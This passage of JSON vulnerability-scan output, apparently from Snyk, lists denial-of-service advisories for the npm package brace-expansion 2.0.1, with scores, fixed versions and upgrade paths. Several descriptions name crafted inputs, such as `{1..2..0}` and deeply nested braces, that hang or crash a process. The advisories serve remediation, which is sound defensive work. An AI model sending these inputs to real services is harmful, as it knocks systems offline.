Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
